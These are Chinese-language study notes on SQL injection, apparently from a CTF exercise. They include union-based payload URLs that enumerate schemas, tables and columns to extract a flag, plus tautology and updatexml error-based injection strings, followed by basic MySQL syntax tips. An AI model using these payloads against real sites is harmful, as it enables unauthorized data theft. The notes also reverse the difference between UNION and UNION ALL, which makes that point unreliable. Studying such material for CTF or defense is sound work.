触发实际的sql注入漏洞之前要

1. 先获取cookie值(如果没有cookie值很多时候会被直接弹出到首页，没法进入到一些深层次的代码逻辑)

2. 获取formhash(防止CSRF的)

3. 对POST或GET或cookie中的某个字段进行某种编码(base64等)

4. 特殊字符(%cf宽字符)注入等

5. 结合POST或COOKIE的变量覆盖的sql注入

6. 盲注入sql语句构造的特殊性

---

简单SQL注入常见过程：爆数据库名-->爆数据库表-->爆数据列-->爆数据项

http://game.sycsec.com:2006/?id=-1'limit 0,1 union select 2,group_concat(schema_name) from

information_schema.schemata --++&submit=submit

(不使用拼接函数）-1'union select 2,schema_name from information_schema.schemata limit 1,1

http://game.sycsec.com:2006/?id=-1'limit 0,1 union select 2,group_concat(table_name) from information_schema.tables

where table_schema='f1ag'--++&submit=submit

http://game.sycsec.com:2006/?id=-1'limit 0,1 union select 2,group_concat(column_name) from information_schema.columns

where table_name='flag'--++&submit=submit

http://game.sycsec.com:2006/?id=-1'limit 0,1 union select 2,f4ag from f1ag.flag--++&submit=submit

---

重要指令：

mysql -user(u) username -password(p) password or none  MySQL登录

SHOW DATABASES;(;可用\g代替)：显示当前安装的数据库

SHOW TABLES;查看当前数据库中的可用表的列表

SHOW COLUMNS FROM tablename;查看某个表中的内容，它对每个字段返回一行，行中包含字段名、数据类型、是否允许NULL、键信息、默认值以及其他信息

SELECT tablename.colunname FROM tablename;用来检索数据表中的coulumnname列中的内容，但是同时列出了表明和列名(完全限定)

SELECT coulumname FROM tablename ORDER BY key;以key为导向排序(升序ASC,可省略)

SQL语句格式：

SQL构造

Tips：

limit 后的两个数字表示：第几行开始，读几行

--++  表示注释

order by 2这样的意思是通过字段数量来进行排序

union的作用是将两个sql语句进行联合，Union all与union 的区别是增加了去重的功能

可能使用 " ) 字符；增大number来探测字段数量，之后才能使用union

") or "1"=("1     |***|     ") or 1=1 --+

1' and updatexml(0,concat(0x7e,(SELECT table_name%1.1FROM information_schema.tables where table_schema=database() limit

1,1)),0) and 'a'='a

Concat拼接字段：把多个串链接起来形成一个较长的串，需要一个或多个指定的串，各个串之间用逗号隔开。例如：SELECT Concat(vend_name,'(',vend_country,')') FROM vendors ORDER BY vend_name;d

---

构造注意：

1、ORDER BY子句必须位于FROM子句之后。

2、当ORDER BY子句和LIMIT子句同时使用时LIMIT子句必须位于ORDER BY子句之后。

3、同时使用WHERE子句和ORDER BY子句时应将ORDER BY子句置于WHERE子句之后。

4、WHERE子句支持=、>、<、!=、<>(不等于)、>=、<=、BETWEEN(指定的两个值之间)过滤操作。

5、AND和OR操作符混合使用时要注意AND操作符的计算次序比OR操作符号的计算次序要高(操作符优先级高)，所以一般有多个操作符时要加上圆括号消除歧义(即使不这样做也是正确的)

6、MySQL支持使用NOT对IN、BETWEEN和EXISTS子句取反(其他DBMS允许使用NOT对各种条件取反)。

7、尾空格可能会干扰通配符匹配，例如：'%anvil'如果anvil后有一个空格则不会被匹配出来。可使用'%anvil%'或者使用函数解决此问题。

8、%通配符不会匹配到NULL。

9、SELECT语句的拼接完成的列是没有名字的，它只是一个值，这种是无法在客户机中直接使用的，所以可以用AS关键字赋予一个别名(也称为导出列)。

例如：SELECT Concat(vend_name,'(',vend_country,')') AS vend_title FROM vendors ORDER BY vend_name;